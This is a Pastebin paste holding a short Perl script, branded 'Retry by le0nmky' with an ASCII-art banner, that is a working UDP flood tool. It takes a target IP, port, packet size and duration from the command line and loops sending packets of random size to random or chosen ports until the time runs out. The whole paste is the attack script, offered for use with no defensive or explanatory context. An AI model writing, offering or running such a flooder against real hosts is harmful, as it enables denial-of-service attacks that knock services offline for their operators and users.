Advertisement
Le0nmmy

Untitled

Dec 30th, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Term::ANSIColor qw(:constants);
  4. $Term::ANSIColor::AUTORESET = 2;
  5.  
  6. ##
  7. # le0nmky
  8. ##
  9.  
  10. use Socket;
  11. use strict;
  12.  
  13. my ($ip,$port,$size,$time) = @ARGV;
  14.  
  15. my ($iaddr,$endtime,$psize,$pport);
  16.  
  17. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  18. $endtime = time() + ($time ? $time : 100);
  19. socket(flood, PF_INET, SOCK_DGRAM, 17);
  20.  
  21. print BOLD RED<<EOTEXT;
  22.  
  23.  
  24. ██▀███ ▓█████▄▄▄█████▓ ██▀███ ▓██ ██▓
  25. ▓██ ▒ ██▒▓█ ▀▓ ██▒ ▓▒▓██ ▒ ██▒▒██ ██▒
  26. ▓██ ░▄█ ▒▒███ ▒ ▓██░ ▒░▓██ ░▄█ ▒ ▒██ ██░
  27. ▒██▀▀█▄ ▒▓█ ▄░ ▓██▓ ░ ▒██▀▀█▄ ░ ▐██▓░
  28. ░██▓ ▒██▒░▒████▒ ▒██▒ ░ ░██▓ ▒██▒ ░ ██▒▓░
  29. ░ ▒▓ ░▒▓░░░ ▒░ ░ ▒ ░░ ░ ▒▓ ░▒▓░ ██▒▒▒
  30. ░▒ ░ ▒░ ░ ░ ░ ░ ░▒ ░ ▒░▓██ ░▒░
  31. ░░ ░ ░ ░ ░░ ░ ▒ ▒ ░░
  32. ░ ░ ░ ░ ░ ░
  33. ░ ░
  34. EOTEXT
  35. print BOLD GREEN<<EOTEXT;
  36. Retry by le0nmky
  37.  
  38. EOTEXT
  39.  
  40. print "Sending to $ip " . ($port ? $port : "random") . " port with " .
  41. ($size ? "$size-byte" : "random size") . " packets" .
  42. ($time ? " for $time seconds" : "") . "\n";
  43. print "Stop with Ctrl-C\n" unless $time;
  44.  
  45. for (;time() <= $endtime;) {
  46. $psize = $size ? $size : int(rand(1024-64)+64) ;
  47. $pport = $port ? $port : int(rand(65500))+1;
  48.  
  49. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement